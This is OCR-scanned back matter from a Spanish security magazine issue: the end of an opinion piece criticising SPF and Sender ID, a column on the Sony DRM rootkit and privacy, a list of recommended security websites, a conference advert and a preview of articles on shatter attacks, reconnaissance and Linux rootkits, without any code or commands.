A pesar de que hay proyectos inte-
resantes, quizas mas complicados
de poner en practica pero definiti-
vamente mejor pensados, estamos
preparados para vivir sin lo que nos
aporta SPF. Y no es por SPF en si
(sus autores son realmente bastante
modestos y reconocen sus defec-
tos). La razon principal es Microsoft.
Su proyecto de Sender ID se basa
principalmente en la columna verte-
bral de SPF.

Todos sabemos el poder que
ostenta Microsoft con su posicion
dominante en el mercado de la IT.
Cada producto que introduce Mi-
crosoft, independientemente de que
sea bueno o no, légico o conforme
al estandar, sera utilizado por el
publico, pues habitualmente Micro-
soft lo incluye en su configuracion
predeterminada de Windows. Por lo
tanto, si la proxima generacién de
Windows viene con el Sender ID
integrado, nos veremos forzados
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a emplear el Sender ID para poder
comunicarnos con otros usuarios
de Windows. Es horroroso, pero
no es el primer caso en el que un
paso semejante dado por un lider
del mercado ha provocado que se
adopte una solucién deficiente en
lugar de una correcta.

Siempre queda la esperanza
de que Microsoft comprenda que
el Sender ID es perjudicial, y que
debe encontrar una alternativa.
Pero esto es so6lo un deseo. Por
desgracia, otros pocos proyectos
interesantes reconocidos en el area
de la autentificacion del remitente no
son promocionados por los medios
y fabricantes tan agresivamente
como SPF y el Sender ID. Asi que
estos, incluso siendo mejores, estan
condenados a ser olvidados muy
pronto.

El DomainKeys, una solucion
desarrollada por Yahoo! es parecida
en muchos sentidos al SPF, y a pe-
sar de que proporciona una capa de
seguridad extra, sigue basandose en
un enfoque similar, también utiliza el
DNS para la distribucién, e introdu-
ce mas problemas incluso. La capa
de seguridad extra se centra en el
hecho de que esta solucion esta ba-
sada en claves privadas y publicas
y en la firma de los mensajes salien-
tes por parte del servidor de correo.
Sin embargo, el DomainKeys pre-
senta un problema cuando se utili-
zan las listas de mailing y se produce
una sobrecarga enorme al procesar
el e-mail en un servidor (debido a la
necesidad de firmas criptograficas).

Hay otras ideas. El Tripoli, por
ejemplo, se basa en una idea de cer-
tificacion de terceras partes y varios

g
En la Red

«  http://www.pfir.org/tripoli-overview

*  http://homepages.tesco.net/~J.deBoynePollard/FGA/smtp-spf-is-harmful.html
— mas informacion sobre el por qué no usar SPF,

»  http://www.taugh.com./mp/Imap.htm|
— por qué los esquemas de remitente designado son dafinos,

«  http://bradknowles.typepad.com/considered_harmful/2004/05/spf.html|
— un articulo interesante sobre los defectos de SPF,

«  http://www.openspf.org/objections.html|
— las respuestas de SPF a algunas quejas,

»  http://antispam.yahoo.com/domainkeys
— la estructura de la autenticacion del remitente de Yahoo!,

*  http://www.microsoft.com/mscorp/safety/technologies/Sender ID/default. mspx
— la estructura del Sender ID de Microsoft,

— TRIPOLI: An Empowered E-Mail Environment,

«  http://www.ftc.gov/bcp/workshops/spam/Supplements/eprivacygp.pdf
— documento oficial sobre el Trusted Email Open Standard (TEOS),

*  http://cobb.com/spam/teos.html — mas sobre el proyecto TEOS.
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niveles de certificacién. La propues-
ta no impone ninguna solucion, pero
el proyecto esta en un estado muy
temprano de desarrollo, lo que sig-
nifica que es imposible decir como
y dénde se desarrolla y si proporcio-
nara una solucion viable e inteligen-
te. No obstante, parece interesante.

Un caso similar es el Trusted
Email Open Standard (TEOS), que es
mas antiguo que el Tripoli, y propone
incluso mas cambios en la infraes-
tructura del correo de Internet. Los
tres afios que han pasado desde que
se hizo la propuesta original sugieren
que podria haber sido abordada como
un pilar interesante para desarrollar
futuras soluciones, pero las proba-
bilidades de que llegue a utilizarse
alguna vez son muy bajas.

Piénsalo antes

de hacerlo
Es sencillamente escalofriante que
los principales proveedores de co-

rreo tiendan actualmente a utilizar
SPF. Los usuarios tienen muy poco
poder para hacer algo al respecto.
Cada vez mas y mas proveedores
de correo electronico gratuito no
publican los registros SPF (lo que
no es nada malo en si, puedes
publicar uno si asi lo quieres), pero
protegen a sus servidores utilizan-
do SPF (lo que esta mal, pues le
imponen esta solucién a otros).
Y al hacer esto estan diciendo Uti-
liza SPF, o no podras comunicarte
con nosotros. Suena muy parecido
a Usa DHL, o no te podremos acep-
tar ningun paquete.

¢Qué podemos hacer para ayu-
dar? Bueno, en primer lugar todos
deberiamos pronunciarnos abierta-
mente en contra de las soluciones
que limitan la libertad fundamental
de Internet (pero no contra los de-
sarrolladores de estas soluciones,
pues ellos han trabajado mucho
y probablemente no han podido

prever todos los problemas). Debe-
riamos, en respuesta a los servido-
res protegidos por SPF que rebotan
nuestro correo porque no publica-
mos un registro SPF, rebotar todo
su correo. Quizas mientras mas co-
rreo rebotemos, mas clientes ellos
pierden y mas se daran cuenta de
que forzar a otros administradores
a hacer algo como condicién para
una posible comunicacion, es una
idea muy mala. Debariamos, por
ultimo, cambiar todos nuestros re-
gistros SPF permitiendo que todos
tengamos la libertad de utilizar
nuestro dominio, manteniendo la
idea del redireccionamiento de
correo, y también reduciendo am-
pliamente la eficacia de SPF en los
sitios protegidos por el mismo. La
eleccién es nuestra y el futuro de
la libertad en el correo electrénico
esta en nuestras manos. ®
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Increasingly powerful computers, brecadband connections and the
ingenuity of Internet villains force the people responsible for network
security to remain vigilant at all times. This requires expert knowledge, so
learn fromthe best.

issues, where remarkable authorities share their knowledge and experience
with IT specialists. Experts will present problems of computer system security
both from the point of view of the individual responsible for maintaining

IT Underground 2004 is an international conference dedicated to IT security ‘
security and the person who attemptsto violate it. L
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Most speeches/workshops will be conducted in BYOL (Bring Your Own
Laptop) mode, aimed at participants who brought their own laptops and
theretfore would be able to actively paricipate in sessions.

Conference subjects:
Application attacks (Windows, Linux, Unix).




Desconfianza digital

Folletin

—

Carlos Garcia Prado

Quiero prevenir al lector que nada de lo que voy
a decir a continuacién es nuevo, ya lo ha oido todo
mil veces, pero es importante que se diga una vez
mas porque lamentablemente son cosas que todo el
mundo oye, pero nadie escucha.

El otro dia vi una pegatina en http://www.
thinkgeek.com que decia: Stop laughing, computers
are cool now! A mi parecer, esta frase expresa per-
fectamente el hecho de que los ordenadores han
irrumpido con mucha fuerza en nuestras vidas. Y no
nos engafiemos, no se debe a que la gente se inte-
resa por la programacion. Es porque son estaciones
multimedia. Es decir, la palabra personal en ordena-
dor personal adquiere ahora, mas que nunca, todo su
significado. En él almacenamos miles de fotos, videos
domésticos y otro tipo de archivos de caracter privado.
Es decir, gran parte de mi privacidad esta almacenada
alli. Por eso los sistema operativos modernos tienen,
por defecto, un sistema de usuario y contrasefia,
porque nadie mas que yo tiene derecho a verlo.

Es por esto que del mismo modo que no dejaria
solo a un vendedor en mi casa, por miedo a que me
hurge en los cajones, no quiero un rootkit instalado
en mi ordenador. Se que el comercial viene a hacer
su trabajo y que sélo le interesa venderme su pro-
ducto, ganar su sueldo. Pero yo no le conozco, no sé
que clase de persona es. No sé de una sola persona
que no le perturbe la idea de que alguien a quién he
dejado pasar a mi casa rebusque entre mis cosas.
Peor incluso, que deje algo al marcharse. Pues con la
informatica no es distinto.

No quiero dar la impresion de ser un parandico.
Aunque me interesa el tema de la seguridad informa-
tica, no vivo obsesionado con constantes amenazas
o conspiraciones a nivel mundial. Soy consciente de que
a ninguna multinacional le interesa lo mas minimo el con-
tenido de mi disco duro, de que hay una probabilidad nula
de que observen los movimientos de mi cuenta corriente.
Pero no quiero que tengan la posibilidad de hacerlo
y mucho menos, que lo hagan a mis espaldas. Es una
cuestioén ética o incluso moral.

Tendemos a pensar que la privacidad almacenada
en un disco duro es de segunda clase. Por qué?
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¢Acaso las fotos o videos en formato digital que tengo
almacenadas en el son menos privadas que las impre-
sas en papel? Espero que el reciente asunto Sony
DRM nos haga reflexionar un poco mas sobre estas
cuestiones.

Un punto interesante de este asunto es que se trata
de una buena bofetada para aquellos que defienden
que el modelo de software propietario cerrado es mas
seguro. Esto nunca hubiese sucedido en un modelo en
el que el codigo fuente pasa por muchos desarrollado-
res (del mismo tipo que el que descubrid originalmente
el rootkit) que no sélo lo mejoran, sino que impiden este
tipo de practicas ilegales.

Pero, en mi opinion el puntosmas importante es
el hecho de que el producto es completamente legal.
Podria, hasta cierto punto comprender que el rootkit
llegara a mi ordenador a través de un CD que compré
en el top manta. Lo encuentro y pienso: Bueno, he
sido un chico malo. Estan en su derecho de proteger
su producto, aunque no es el modo mas honesto de
hacerlo.

Pero los consumidores compraron de buena fe ese
disco, gastaron su dinero y a cambio recibieron esto.
Confuso, pregunté a una amiga economista si este
tipo de préacticas era frecuente. Su respuesta fue clara:
Nunca ha sido una buena politica de empresa apurialar
a tus clientes por la espalda.

No olvidemos que el descubrimiento del rootkit de
Sony fue casual, y que probablemente no sea un hecho
aislado sino la punta del iceberg. Yo, por mi parte, no
pienso volver a marcar esa casilla que aparece al des-
cargar cierto software y que dice: Confiar siempre en el
contenido de Lasquetodossabemos Corp. ®

-
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conocimientos de la seguridad y programacion, sobre todo,
bajo Linux.

www.hakin9.org



Pdginas

Una especie de portal para la gente a que

le gusta la informatica y la seguridad. Si te gu-

sta este mundo, te gustara elhacker.net.
http://www.elhacker.net

CyruxNET — alli encontraras la informacion
detallada sobre las técnicas hack mas po-
pulares.

http://www.cyruxnet.org

Website de contenido underground, hacking,

temas de seguridad, técnicas de hacking, troy-

anos, msn tools, noticias informaticas.
http://www.cyberpirata.org

Un sitio web sobre la seguridad y contrasegu-

ridad informatica. Articulos, noticias, informa-

cién virica, descargas de herramientas.
http://www.freneticmig.com
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Una pagina independiente y no comercial. Alli

se relinen amigos hispanos para desarrollar In-

ternet de calidad y para todos.
http://www.agujero.com

Web especializada en articulos técnicos sobre

Linux. Aqui encontraras las Ultimas noticias so-

bre Linux y Software Libre, foros.
www.diariolinux.com

Hack Hispano, comunidad de usuarios en la

que se tratan temas de actualidad sobre nuevas

tecnologias, Internet y seguridad informatica.
http://www.hackhispano.com

Tecnologia, informatica e Internet. Alli encontra-

ras enlaces, foros, fondos de escritorio y una bi-

blioteca repleta de articulos interesantes...
http://www.hispabyte.net

Seguridad0 es un magazine gratuito de seguri-

dad informatica. Tiene una periodicidad sema-

nal, aunque se anaden noticias a diario.
http://www.seguridad0.com

Un espacio libre para compartir: descargas,

software, programas oscuros, dudas, noticias,

trucos... y mas cosas a ritmo de blues.
http://www.viejoblues.com
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Indaya teaM fue creada por un grupo de per-
sonas amantes de la informatica para ayudar
a todos los que se interesan por la informatica.

http://www.indaya.com

La Web de Dragon. Noticias, descargas gratu-
itas, herramientas Utiles para todos los que se
interesan por hacking y seguridad informatica.

http://www.dragonjar.us

Paginas

Si tienes una pagina web interesante y quieres que la presentemos en
nuestra seccion de “Paginas recomendadas” contactanos: es@hakin9.org
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Shatter attack — abusos con el uso

de comunicados en Windows —
El mecanismo de control de la interfaz grafica empleado en Windows, fue
disefiado en una época en la que poca gente pensaba sobre la seguridad.
Por eso, un intruso puede utilizarlo facilmente para omitir las limitaciones
(por ejemplo cortafuegos), o para obtener mas privilegios en el sistema.
Krzysztof Wilkos describe el ejemplo del ataque, que causa gran destrozo
de un solo golpe (en inglés: shatter attack).

Deteccion de puntos débiles en

las aplicaciones con cédigo cerrado =
La deteccion de puntos débiles en aplicaciones que no tengan el codigo
abierto es un trabajo muy duro. Si no disponemos de acceso al cddigo, es
dificil descubrir un punto potencial del ataque. Ademas, es dificil también
encontrar la susceptibilidad en si misma y demostrar su existencia. Bernhard
Mueller describe como su grupo ha detectado puntos débiles en Macrome-
dia Flash Player. Presenta las técnicas y las herramientas que han utilizado
y explica como realizar este tipo de analisis por si mismo.

Busqueda de informaciones

para pruebas de penetracion -
El principal y uno de los mas importantes etapas de la prueba de penetra-
cion consiste en recoleccion pasiva y semi-activa de datos sobre la victima
potencial. Hay que usar el mismo método que emplearia el intruso: averiguar
no solo qué sistemas tiene la victima potencial y qué servicies ofrecen estos
sistemas, sino que también hay que buscar la mayor cantidad de informa-
ciones posible sobre la victima en si misma. Btazej Kantak muestra como
servirse de varias técnicas: empezando con whois y DNS y terminando con
navegadores y analisis de la pagina web de la victima, para obtener unas
informaciones necesarias para realizar una prueba.

Rootkit en el sistema Linux

con el nucleo 2.6 —
Rootkits para Linux con el nucleo 2.6 son distintos de los preparados para
el nucleo 2.4. Pablo Fernandez describe en detalle como preparar este
tipo de rootkit. Explica como usar las llamadas del sistema, VFS y proc_fs,
como ocultar el médulo de nucleo, procesos, conexiones con la red, ficheros
y como conceder al proceso de rootkit los derechos de administrador.

Informacién actual sobre el proximo numero
— http://www.hakin9.org/es

La redaccion se reserva el derecho a cambiar el contenido de la revista.
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de dispositivos moviles

HetBeans Mobility Pack
Controla tu Servidor Java desde cualguier parte
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